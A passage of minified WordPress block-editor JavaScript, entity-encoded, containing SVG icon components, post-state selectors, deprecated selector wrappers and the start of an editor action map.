5.75H18.25V11.25&quot;,stroke:&quot;currentColor&quot;,strokeWidth:&quot;1.5&quot;,strokeLinecap:&quot;square&quot;})});var BS=s(de(),1),zA=s(C(),1),UA=(0,zA.jsx)(BS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,zA.jsx)(BS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M9.706 8.646a.25.25 0 01-.188.137l-4.626.672a.25.25 0 00-.139.427l3.348 3.262a.25.25 0 01.072.222l-.79 4.607a.25.25 0 00.362.264l4.138-2.176a.25.25 0 01.233 0l4.137 2.175a.25.25 0 00.363-.263l-.79-4.607a.25.25 0 01.072-.222l3.347-3.262a.25.25 0 00-.139-.427l-4.626-.672a.25.25 0 01-.188-.137l-2.069-4.192a.25.25 0 00-.448 0L9.706 8.646zM12 7.39l-.948 1.921a1.75 1.75 0 01-1.317.957l-2.12.308 1.534 1.495c.412.402.6.982.503 1.55l-.362 2.11 1.896-.997a1.75 1.75 0 011.629 0l1.895.997-.362-2.11a1.75 1.75 0 01.504-1.55l1.533-1.495-2.12-.308a1.75 1.75 0 01-1.317-.957L12 7.39z&quot;})});var MS=s(de(),1),HA=s(C(),1),GA=(0,HA.jsx)(MS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,HA.jsx)(MS.Path,{d:&quot;M11.776 4.454a.25.25 0 01.448 0l2.069 4.192a.25.25 0 00.188.137l4.626.672a.25.25 0 01.139.426l-3.348 3.263a.25.25 0 00-.072.222l.79 4.607a.25.25 0 01-.362.263l-4.138-2.175a.25.25 0 00-.232 0l-4.138 2.175a.25.25 0 01-.363-.263l.79-4.607a.25.25 0 00-.071-.222L4.754 9.881a.25.25 0 01.139-.426l4.626-.672a.25.25 0 00.188-.137l2.069-4.192z&quot;})});var LS=s(de(),1),WA=s(C(),1),YA=(0,WA.jsx)(LS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,WA.jsx)(LS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M20 12a8 8 0 1 1-16 0 8 8 0 0 1 16 0Zm-1.5 0a6.5 6.5 0 0 1-6.5 6.5v-13a6.5 6.5 0 0 1 6.5 6.5Z&quot;})});var VS=s(de(),1),qA=s(C(),1),Wd=(0,qA.jsx)(VS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,qA.jsx)(VS.Path,{d:&quot;M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-17.6 1L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z&quot;})});var jS=s(de(),1),ZA=s(C(),1),Wv=(0,ZA.jsx)(jS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,ZA.jsx)(jS.Path,{d:&quot;M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z&quot;})});var zS=s(de(),1),KA=s(C(),1),US=(0,KA.jsx)(zS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,KA.jsx)(zS.Path,{d:&quot;M17 4H7c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h10c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm.5 14c0 .3-.2.5-.5.5H7c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h10c.3 0 .5.2.5.5v12zm-7.5-.5h4V16h-4v1.5z&quot;})});var HS=s(de(),1),XA=s(C(),1),El=(0,XA.jsx)(HS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,XA.jsx)(HS.Path,{fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;,d:&quot;M12 5.5A2.25 2.25 0 0 0 9.878 7h4.244A2.251 2.251 0 0 0 12 5.5ZM12 4a3.751 3.751 0 0 0-3.675 3H5v1.5h1.27l.818 8.997a2.75 2.75 0 0 0 2.739 2.501h4.347a2.75 2.75 0 0 0 2.738-2.5L17.73 8.5H19V7h-3.325A3.751 3.751 0 0 0 12 4Zm4.224 4.5H7.776l.806 8.861a1.25 1.25 0 0 0 1.245 1.137h4.347a1.25 1.25 0 0 0 1.245-1.137l.805-8.861Z&quot;})});var GS=s(de(),1),QA=s(C(),1),JA=(0,QA.jsx)(GS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,QA.jsx)(GS.Path,{d:&quot;m8.6 7 3.9 10.8h-1.7l-1-2.8H5.7l-1 2.8H3L6.9 7h1.7Zm-2.4 6.6h3L7.7 9.3l-1.5 4.3ZM17.691 8.879c.473 0 .88.055 1.221.165.352.1.643.264.875.495.274.253.456.572.544.957.088.374.132.83.132 1.37v4.554c0 .274.033.472.099.593.077.11.198.166.363.166.11 0 .215-.028.313-.083.11-.055.237-.137.38-.247l.165.28a3.304 3.304 0 0 1-.71.446c-.23.11-.527.165-.89.165-.352 0-.639-.055-.858-.165-.22-.11-.386-.27-.495-.479-.1-.209-.149-.468-.149-.775-.286.462-.627.814-1.023 1.056-.396.242-.858.363-1.386.363-.462 0-.858-.088-1.188-.264a1.752 1.752 0 0 1-.742-.726 2.201 2.201 0 0 1-.248-1.056c0-.484.11-.875.33-1.172.22-.308.5-.556.841-.742.352-.187.721-.341 1.106-.462.396-.132.765-.253 1.106-.363.351-.121.637-.259.857-.413.232-.154.347-.357.347-.61V10.81c0-.396-.066-.71-.198-.941a1.05 1.05 0 0 0-.511-.511 1.763 1.763 0 0 0-.76-.149c-.253 0-.522.039-.808.116a1.165 1.165 0 0 0-.677.412 1.1 1.1 0 0 1 .595.396c.165.187.247.424.247.71 0 .307-.104.55-.313.726-.198.176-.451.263-.76.263-.34 0-.594-.104-.758-.313a1.231 1.231 0 0 1-.248-.759c0-.297.072-.539.214-.726.154-.187.352-.363.595-.528.264-.176.6-.324 1.006-.445.418-.121.88-.182 1.386-.182Zm.99 3.729a1.57 1.57 0 0 1-.528.462c-.231.121-.479.248-.742.38a5.377 5.377 0 0 0-.76.462c-.23.165-.423.38-.577.643-.154.264-.231.6-.231 1.007 0 .429.11.77.33 1.023.22.242.517.363.891.363.308 0 .594-.088.858-.264.275-.176.528-.44.759-.792v-3.284Z&quot;})});var WS=s(de(),1),$A=s(C(),1),Yv=(0,$A.jsx)(WS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,$A.jsx)(WS.Path,{d:&quot;M18.3 11.7c-.6-.6-1.4-.9-2.3-.9H6.7l2.9-3.3-1.1-1-4.5 5L8.5 16l1-1-2.7-2.7H16c.5 0 .9.2 1.3.5 1 1 1 3.4 1 4.5v.3h1.5v-.2c0-1.5 0-4.3-1.5-5.7z&quot;})});var YS=s(de(),1),eO=s(C(),1),tO=(0,eO.jsx)(YS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,eO.jsx)(YS.Path,{d:&quot;M20.7 12.7s0-.1-.1-.2c0-.2-.2-.4-.4-.6-.3-.5-.9-1.2-1.6-1.8-.7-.6-1.5-1.3-2.6-1.8l-.6 1.4c.9.4 1.6 1 2.1 1.5.6.6 1.1 1.2 1.4 1.6.1.2.3.4.3.5v.1l.7-.3.7-.3Zm-5.2-9.3-1.8 4c-.5-.1-1.1-.2-1.7-.2-3 0-5.2 1.4-6.6 2.7-.7.7-1.2 1.3-1.6 1.8-.2.3-.3.5-.4.6 0 0 0 .1-.1.2s0 0 .7.3l.7.3V13c0-.1.2-.3.3-.5.3-.4.7-1 1.4-1.6 1.2-1.2 3-2.3 5.5-2.3H13v.3c-.4 0-.8-.1-1.1-.1-1.9 0-3.5 1.6-3.5 3.5s.6 2.3 1.6 2.9l-2 4.4.9.4 7.6-16.2-.9-.4Zm-3 12.6c1.7-.2 3-1.7 3-3.5s-.2-1.4-.6-1.9L12.4 16Z&quot;})});var qS=s(de(),1),rO=s(C(),1),oO=(0,rO.jsx)(qS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,rO.jsx)(qS.Path,{d:&quot;M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z&quot;})});var ZS=s(de(),1),nO=s(C(),1),iO=(0,nO.jsx)(ZS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,nO.jsx)(ZS.Path,{d:&quot;M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h13.4c.4 0 .8.4.8.8v13.4zM10 15l5-3-5-3v6z&quot;})});var KS=s(de(),1),sO=s(C(),1),aO=(0,sO.jsx)(KS.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;-2 -2 24 24&quot;,children:(0,sO.jsx)(KS.Path,{d:&quot;M20 10c0-5.51-4.49-10-10-10C4.48 0 0 4.49 0 10c0 5.52 4.48 10 10 10 5.51 0 10-4.48 10-10zM7.78 15.37L4.37 6.22c.55-.02 1.17-.08 1.17-.08.5-.06.44-1.13-.06-1.11 0 0-1.45.11-2.37.11-.18 0-.37 0-.58-.01C4.12 2.69 6.87 1.11 10 1.11c2.33 0 4.45.87 6.05 2.34-.68-.11-1.65.39-1.65 1.58 0 .74.45 1.36.9 2.1.35.61.55 1.36.55 2.46 0 1.49-1.4 5-1.4 5l-3.03-8.37c.54-.02.82-.17.82-.17.5-.05.44-1.25-.06-1.22 0 0-1.44.12-2.38.12-.87 0-2.33-.12-2.33-.12-.5-.03-.56 1.2-.06 1.22l.92.08 1.26 3.41zM17.41 10c.24-.64.74-1.87.43-4.25.7 1.29 1.05 2.71 1.05 4.25 0 3.29-1.73 6.24-4.4 7.78.97-2.59 1.94-5.2 2.92-7.78zM6.1 18.09C3.12 16.65 1.11 13.53 1.11 10c0-1.3.23-2.48.72-3.59C3.25 10.3 4.67 14.2 6.1 18.09zm4.03-6.63l2.58 6.98c-.86.29-1.76.45-2.71.45-.79 0-1.57-.11-2.29-.33.81-2.38 1.62-4.74 2.42-7.1z&quot;})});function $c(e){return e===&quot;header&quot;?Rv:e===&quot;footer&quot;?Ev:e===&quot;sidebar&quot;?Gv:e===&quot;navigation-overlay&quot;?Nv:Wd}var QF=s(qv(),1),{lock:JF,unlock:N}=(0,QF.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(&quot;I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.&quot;,&quot;@wordpress/editor&quot;);var $F={},Zi=e=&gt;{if(!e)return $F;let{templateTypes:t,templateAreas:r,template:o}=e,{description:n,slug:i,title:a,area:l}=o,{title:c,description:u}=Object.values(t).find(g=&gt;g.slug===i)??$F,d=typeof a==&quot;string&quot;?a:a?.rendered,f=typeof n==&quot;string&quot;?n:n?.raw,h=r?.map(g=&gt;({...g,icon:$c(g.icon)}))?.find(g=&gt;l===g.area)?.icon||Bs;return{title:d&amp;&amp;d!==i?d:c||i,description:f||u,icon:h}};var Xv={},Vae=(0,dt.createRegistrySelector)(e=&gt;()=&gt;e(dr.store).hasUndo()),jae=(0,dt.createRegistrySelector)(e=&gt;()=&gt;e(dr.store).hasRedo());function tD(e){return $r(e).status===&quot;auto-draft&quot;}function rD(e){return&quot;content&quot;in Qv(e)}var XS=(0,dt.createRegistrySelector)(e=&gt;t=&gt;{let r=Qn(t),o=Ki(t);return e(dr.store).hasEditsForEntityRecord(&quot;postType&quot;,r,o)}),zae=(0,dt.createRegistrySelector)(e=&gt;t=&gt;{let r=e(dr.store).__experimentalGetDirtyEntityRecords(),{type:o,id:n}=$r(t);return r.some(i=&gt;i.kind!==&quot;postType&quot;||i.name!==o||i.key!==n)});function Uae(e){return!XS(e)&amp;&amp;tD(e)}var $r=(0,dt.createRegistrySelector)(e=&gt;t=&gt;{let r=Ki(t),o=Qn(t),n=e(dr.store).getRawEntityRecord(&quot;postType&quot;,o,r);return n||Xv});function Qn(e){return e.postType}function Ki(e){return e.postId}function Hae(e){return e.templateId}function lO(e){return $r(e)._links?.[&quot;version-history&quot;]?.[0]?.count??0}function Gae(e){return $r(e)._links?.[&quot;predecessor-version&quot;]?.[0]?.id??null}var Qv=(0,dt.createRegistrySelector)(e=&gt;t=&gt;{let r=Qn(t),o=Ki(t);return e(dr.store).getEntityRecordEdits(&quot;postType&quot;,r,o)||Xv});function Zv(e,t){switch(t){case&quot;type&quot;:return Qn(e);case&quot;id&quot;:return Ki(e);default:let r=$r(e);if(!r.hasOwnProperty(t))break;return P1(r[t])}}var Wae=(0,dt.createSelector)((e,t)=&gt;{let r=Qv(e);return r.hasOwnProperty(t)?{...Zv(e,t),...r[t]}:Zv(e,t)},(e,t)=&gt;[Zv(e,t),Qv(e)[t]]);function Jt(e,t){if(t===&quot;content&quot;)return Jv(e);let r=Qv(e);return r.hasOwnProperty(t)?GF.has(t)?Wae(e,t):r[t]:Zv(e,t)}var oD=(0,dt.createRegistrySelector)(e=&gt;(t,r)=&gt;{if(!YF.includes(r)&amp;&amp;r!==&quot;preview_link&quot;)return;let o=Qn(t),n=Ki(t),i=e(dr.store).getCurrentUser()?.id,a=e(dr.store).getAutosave(o,n,i);if(a)return P1(a[r])});function Yae(e){return Jt(e,&quot;status&quot;)===&quot;private&quot;?&quot;private&quot;:Jt(e,&quot;password&quot;)?&quot;password&quot;:&quot;public&quot;}function qae(e){return $r(e).status===&quot;pending&quot;}function cO(e,t){let r=t||$r(e);return[&quot;publish&quot;,&quot;private&quot;].indexOf(r.status)!==-1||r.status===&quot;future&quot;&amp;&amp;!(0,Zm.isInTheFuture)(new Date(Number((0,Zm.getDate)(r.date))-iR))}function Zae(e){return $r(e).status===&quot;future&quot;&amp;&amp;!cO(e)}function Kae(e){let t=$r(e);return t.type===ur?XS(e):XS(e)||[&quot;publish&quot;,&quot;private&quot;,&quot;future&quot;].indexOf(t.status)===-1}function nD(e){return Km(e)?!1:!!Jt(e,&quot;title&quot;)||!!Jt(e,&quot;excerpt&quot;)||!iD(e)||eD.Platform.OS===&quot;native&quot;}var iD=(0,dt.createRegistrySelector)(e=&gt;t=&gt;{let r=Ki(t),o=Qn(t),n=e(dr.store).getEditedEntityRecord(&quot;postType&quot;,o,r);if(typeof n.content!=&quot;function&quot;)return!n.content;let i=Jt(t,&quot;blocks&quot;);if(i.length===0)return!0;if(i.length&gt;1)return!1;let a=i[0].name;return a!==(0,eu.getDefaultBlockName)()&amp;&amp;a!==(0,eu.getFreeformContentHandlerName)()?!1:!Jv(t)}),Xae=(0,dt.createRegistrySelector)(e=&gt;t=&gt;{if(!nD(t)||lD(t))return!1;let r=Qn(t);if(!e(dr.store).getPostType(r)?.supports?.autosave)return!1;let n=Ki(t),i=e(dr.store).hasFetchedAutosaves(r,n),a=e(dr.store).getCurrentUser()?.id,l=e(dr.store).getAutosave(r,n,a);return i?!l||rD(t)?!0:[&quot;title&quot;,&quot;excerpt&quot;,&quot;meta&quot;].some(c=&gt;P1(l[c])!==Jt(t,c)):!1});function Qae(e){let t=Jt(e,&quot;date&quot;),r=new Date(Number((0,Zm.getDate)(t))-iR);return(0,Zm.isInTheFuture)(r)}function Jae(e){let t=Jt(e,&quot;date&quot;),r=Jt(e,&quot;modified&quot;),o=$r(e).status;return o===&quot;draft&quot;||o===&quot;auto-draft&quot;||o===&quot;pending&quot;?t===r||t===null:!1}function $ae(e){return!!e.deleting.pending}function Km(e){return!!e.saving.pending}var ele=(0,dt.createRegistrySelector)(e=&gt;t=&gt;{let r=e(dr.store).__experimentalGetEntitiesBeingSaved(),{type:o,id:n}=$r(t);return r.some(i=&gt;i.kind!==&quot;postType&quot;||i.name!==o||i.key!==n)}),tle=(0,dt.createRegistrySelector)(e=&gt;t=&gt;{let r=Qn(t),o=Ki(t);return!e(dr.store).getLastEntitySaveError(&quot;postType&quot;,r,o)}),rle=(0,dt.createRegistrySelector)(e=&gt;t=&gt;{let r=Qn(t),o=Ki(t);return!!e(dr.store).getLastEntitySaveError(&quot;postType&quot;,r,o)});function ole(e){return Km(e)&amp;&amp;!!e.saving.options?.isAutosave}function nle(e){return Km(e)&amp;&amp;!!e.saving.options?.isPreview}function ile(e){if(e.saving.pending||Km(e))return;let t=oD(e,&quot;preview_link&quot;);(!t||$r(e).status===&quot;draft&quot;)&amp;&amp;(t=Jt(e,&quot;link&quot;),t&amp;&amp;(t=(0,Kv.addQueryArgs)(t,{preview:!0})));let r=Jt(e,&quot;featured_media&quot;);return t&amp;&amp;r?(0,Kv.addQueryArgs)(t,{_thumbnail_id:r}):t}var sle=(0,dt.createRegistrySelector)(e=&gt;()=&gt;{let t=e(QS.store).getBlocks();if(t.length&gt;2)return null;let r;if(t.length===1&amp;&amp;(r=t[0].name,r===&quot;core/embed&quot;)){let o=t[0].attributes?.providerNameSlug;[&quot;youtube&quot;,&quot;vimeo&quot;].includes(o)?r=&quot;core/video&quot;:[&quot;spotify&quot;,&quot;soundcloud&quot;].includes(o)&amp;&amp;(r=&quot;core/audio&quot;)}switch(t.length===2&amp;&amp;t[1].name===&quot;core/paragraph&quot;&amp;&amp;(r=t[0].name),r){case&quot;core/image&quot;:return&quot;image&quot;;case&quot;core/quote&quot;:case&quot;core/pullquote&quot;:return&quot;quote&quot;;case&quot;core/gallery&quot;:return&quot;gallery&quot;;case&quot;core/video&quot;:return&quot;video&quot;;case&quot;core/audio&quot;:return&quot;audio&quot;;default:return null}}),Jv=(0,dt.createRegistrySelector)(e=&gt;t=&gt;{let r=Ki(t),o=Qn(t),n=e(dr.store).getEditedEntityRecord(&quot;postType&quot;,o,r);if(n){if(typeof n.content==&quot;function&quot;)return n.content(n);if(n.blocks)return(0,eu.__unstableSerializeAndClean)(n.blocks);if(n.content)return n.content}return&quot;&quot;});function ale(e){return Km(e)&amp;&amp;!cO(e)&amp;&amp;Jt(e,&quot;status&quot;)===&quot;publish&quot;}function sD(e){let t=Jt(e,&quot;permalink_template&quot;);return nR.test(t)}function lle(e){let t=aD(e);if(!t)return null;let{prefix:r,postName:o,suffix:n}=t;return sD(e)?r+o+n:r}function cle(e){return Jt(e,&quot;slug&quot;)||(0,Kv.cleanForSlug)(Jt(e,&quot;title&quot;))||Ki(e)}function aD(e){let t=Jt(e,&quot;permalink_template&quot;);if(!t)return null;let r=Jt(e,&quot;slug&quot;)||Jt(e,&quot;generated_slug&quot;),[o,n]=t.split(nR);return{prefix:o,postName:r,suffix:n}}function ule(e){return e.postLock.isLocked}function dle(e){return Object.keys(e.postSavingLock).length&gt;0}function lD(e){return Object.keys(e.postAutosavingLock).length&gt;0}function fle(e){return e.postLock.isTakeover}function mle(e){return e.postLock.user}function ple(e){return e.postLock.activePostLock}function hle(e){return!!$r(e)._links?.hasOwnProperty(&quot;wp:action-unfiltered-html&quot;)}var gle=(0,dt.createRegistrySelector)(e=&gt;()=&gt;!!e($v.store).get(&quot;core&quot;,&quot;isPublishSidebarEnabled&quot;)),vle=(0,dt.createSelector)(e=&gt;Jt(e,&quot;blocks&quot;)||(0,eu.parse)(Jv(e)),e=&gt;[Jt(e,&quot;blocks&quot;),Jv(e)]);function cD(e,t){return e.removedPanels.includes(t)}var yle=(0,dt.createRegistrySelector)(e=&gt;(t,r)=&gt;{let o=e($v.store).get(&quot;core&quot;,&quot;inactivePanels&quot;);return!cD(t,r)&amp;&amp;!o?.includes(r)}),ble=(0,dt.createRegistrySelector)(e=&gt;(t,r)=&gt;!!e($v.store).get(&quot;core&quot;,&quot;openPanels&quot;)?.includes(r));function Sle(e){return(0,Ca.default)(&quot;select(&#039;core/editor&#039;).getEditorSelectionStart&quot;,{since:&quot;5.8&quot;,alternative:&quot;select(&#039;core/editor&#039;).getEditorSelection&quot;}),Jt(e,&quot;selection&quot;)?.selectionStart}function _le(e){return(0,Ca.default)(&quot;select(&#039;core/editor&#039;).getEditorSelectionStart&quot;,{since:&quot;5.8&quot;,alternative:&quot;select(&#039;core/editor&#039;).getEditorSelection&quot;}),Jt(e,&quot;selection&quot;)?.selectionEnd}function wle(e){return Jt(e,&quot;selection&quot;)}function xle(e){return!!e.postId}function Cle(e){return e.editorSettings}function JS(e){return e.renderingMode}var Tle=(0,dt.createRegistrySelector)(e=&gt;t=&gt;N(e(QS.store)).isZoomOut()?&quot;Desktop&quot;:t.deviceType);function Ple(e){return e.listViewPanel}function kle(e){return!!e.blockInserterPanel}var Ele=(0,dt.createRegistrySelector)(e=&gt;()=&gt;e($v.store).get(&quot;core&quot;,&quot;editorMode&quot;)??&quot;visual&quot;);function Rle(){return(0,Ca.default)(&quot;select(&#039;core/editor&#039;).getStateBeforeOptimisticTransaction&quot;,{since:&quot;5.7&quot;,hint:&quot;No state history is kept on this store anymore&quot;}),null}function Ale(){return(0,Ca.default)(&quot;select(&#039;core/editor&#039;).inSomeHistory&quot;,{since:&quot;5.7&quot;,hint:&quot;No state history is kept on this store anymore&quot;}),!1}function Le(e){return(0,dt.createRegistrySelector)(t=&gt;(r,...o)=&gt;((0,Ca.default)(&quot;`wp.data.select( &#039;core/editor&#039; ).&quot;+e+&quot;`&quot;,{since:&quot;5.3&quot;,alternative:&quot;`wp.data.select( &#039;core/block-editor&#039; ).&quot;+e+&quot;`&quot;,version:&quot;6.2&quot;}),t(QS.store)[e](...o)))}var Ole=Le(&quot;getBlockName&quot;),Ile=Le(&quot;isBlockValid&quot;),Nle=Le(&quot;getBlockAttributes&quot;),Fle=Le(&quot;getBlock&quot;),Dle=Le(&quot;getBlocks&quot;),Ble=Le(&quot;getClientIdsOfDescendants&quot;),Mle=Le(&quot;getClientIdsWithDescendants&quot;),Lle=Le(&quot;getGlobalBlockCount&quot;),Vle=Le(&quot;getBlocksByClientId&quot;),jle=Le(&quot;getBlockCount&quot;),zle=Le(&quot;getBlockSelectionStart&quot;),Ule=Le(&quot;getBlockSelectionEnd&quot;),Hle=Le(&quot;getSelectedBlockCount&quot;),Gle=Le(&quot;hasSelectedBlock&quot;),Wle=Le(&quot;getSelectedBlockClientId&quot;),Yle=Le(&quot;getSelectedBlock&quot;),qle=Le(&quot;getBlockRootClientId&quot;),Zle=Le(&quot;getBlockHierarchyRootClientId&quot;),Kle=Le(&quot;getAdjacentBlockClientId&quot;),Xle=Le(&quot;getPreviousBlockClientId&quot;),Qle=Le(&quot;getNextBlockClientId&quot;),Jle=Le(&quot;getSelectedBlocksInitialCaretPosition&quot;),$le=Le(&quot;getMultiSelectedBlockClientIds&quot;),ece=Le(&quot;getMultiSelectedBlocks&quot;),tce=Le(&quot;getFirstMultiSelectedBlockClientId&quot;),rce=Le(&quot;getLastMultiSelectedBlockClientId&quot;),oce=Le(&quot;isFirstMultiSelectedBlock&quot;),nce=Le(&quot;isBlockMultiSelected&quot;),ice=Le(&quot;isAncestorMultiSelected&quot;),sce=Le(&quot;getMultiSelectedBlocksStartClientId&quot;),ace=Le(&quot;getMultiSelectedBlocksEndClientId&quot;),lce=Le(&quot;getBlockOrder&quot;),cce=Le(&quot;getBlockIndex&quot;),uce=Le(&quot;isBlockSelected&quot;),dce=Le(&quot;hasSelectedInnerBlock&quot;),fce=Le(&quot;isBlockWithinSelection&quot;),mce=Le(&quot;hasMultiSelection&quot;),pce=Le(&quot;isMultiSelecting&quot;),hce=Le(&quot;isSelectionEnabled&quot;),gce=Le(&quot;getBlockMode&quot;),vce=Le(&quot;isTyping&quot;),yce=Le(&quot;isCaretWithinFormattedText&quot;),bce=Le(&quot;getBlockInsertionPoint&quot;),Sce=Le(&quot;isBlockInsertionPointVisible&quot;),_ce=Le(&quot;isValidTemplate&quot;),wce=Le(&quot;getTemplate&quot;),xce=Le(&quot;getTemplateLock&quot;),Cce=Le(&quot;canInsertBlockType&quot;),Tce=Le(&quot;getInserterItems&quot;),Pce=Le(&quot;hasInserterItems&quot;),kce=Le(&quot;getBlockListSettings&quot;),Ece=(0,dt.createRegistrySelector)(e=&gt;()=&gt;((0,Ca.default)(&quot;select(&#039;core/editor&#039;).__experimentalGetDefaultTemplateTypes&quot;,{since:&quot;6.8&quot;,alternative:&quot;select(&#039;core/core-data&#039;).getCurrentTheme()?.default_template_types&quot;}),e(dr.store).getCurrentTheme()?.default_template_types)),Rce=(0,dt.createRegistrySelector)(e=&gt;(0,dt.createSelector)(()=&gt;((0,Ca.default)(&quot;select(&#039;core/editor&#039;).__experimentalGetDefaultTemplatePartAreas&quot;,{since:&quot;6.8&quot;,alternative:&quot;select(&#039;core/core-data&#039;).getCurrentTheme()?.default_template_part_areas&quot;}),(e(dr.store).getCurrentTheme()?.default_template_part_areas||[]).map(r=&gt;({...r,icon:$c(r.icon)}))))),Ace=(0,dt.createRegistrySelector)(e=&gt;(0,dt.createSelector)((t,r)=&gt;{(0,Ca.default)(&quot;select(&#039;core/editor&#039;).__experimentalGetDefaultTemplateType&quot;,{since:&quot;6.8&quot;});let o=e(dr.store).getCurrentTheme()?.default_template_types;return o?Object.values(o).find(n=&gt;n.slug===r)??Xv:Xv})),Oce=(0,dt.createRegistrySelector)(e=&gt;(0,dt.createSelector)((t,r)=&gt;{if((0,Ca.default)(&quot;select(&#039;core/editor&#039;).__experimentalGetTemplateInfo&quot;,{since:&quot;6.8&quot;}),!r)return Xv;let o=e(dr.store).getCurrentTheme(),n=o?.default_template_types||[],i=o?.default_template_part_areas||[];return Zi({template:r,templateAreas:i,templateTypes:n})})),Ice=(0,dt.createRegistrySelector)(e=&gt;t=&gt;{let r=Qn(t);return e(dr.store).getPostType(r)?.labels?.singular_name});function Nce(e){return e.publishSidebarActive}var mO={};Qc(mO,{__experimentalTearDownEditor:()=&gt;Dce,__unstableSaveForPreview:()=&gt;Wce,autosave:()=&gt;Gce,clearSelectedBlock:()=&gt;Pue,closePublishSidebar:()=&gt;gue,createUndoLevel:()=&gt;Zce,disablePublishSidebar:()=&gt;Qce,editPost:()=&gt;Vce,enablePublishSidebar:()=&gt;Xce,enterFormattedText:()=&gt;Wue,exitFormattedText:()=&gt;Yue,hideInsertionPoint:()=&gt;Bue,insertBlock:()=&gt;Nue,insertBlocks:()=&gt;Fue,insertDefaultBlock:()=&gt;que,lockPostAutosaving:()=&gt;eue,lockPostSaving:()=&gt;Jce,mergeBlocks:()=&gt;Vue,moveBlockToPosition:()=&gt;Iue,moveBlocksDown:()=&gt;Aue,moveBlocksUp:()=&gt;Oue,multiSelect:()=&gt;Tue,openPublishSidebar:()=&gt;hue,receiveBlocks:()=&gt;bue,redo:()=&gt;Yce,refreshPost:()=&gt;Uce,removeBlock:()=&gt;zue,removeBlocks:()=&gt;jue,removeEditorPanel:()=&gt;lue,replaceBlock:()=&gt;Rue,replaceBlocks:()=&gt;Eue,resetBlocks:()=&gt;yue,resetEditorBlocks:()=&gt;rue,resetPost:()=&gt;Bce,savePost:()=&gt;jce,selectBlock:()=&gt;wue,setDeviceType:()=&gt;iue,setEditedPost:()=&gt;SD,setIsInserterOpened:()=&gt;cue,setIsListViewOpened:()=&gt;uue,setRenderingMode:()=&gt;nue,setTemplateValidity:()=&gt;Mue,setupEditor:()=&gt;Fce,setupEditorState:()=&gt;Lce,showInsertionPoint:()=&gt;Due,startMultiSelect:()=&gt;xue,startTyping:()=&gt;Hue,stopMultiSelect:()=&gt;Cue,stopTyping:()=&gt;Gue,switchEditorMode:()=&gt;pue,synchronizeTemplate:()=&gt;Lue,toggleBlockMode:()=&gt;Uue,toggleDistractionFree:()=&gt;due,toggleEditorPanelEnabled:()=&gt;sue,toggleEditorPanelOpened:()=&gt;aue,togglePublishSidebar:()=&gt;vue,toggleSelection:()=&gt;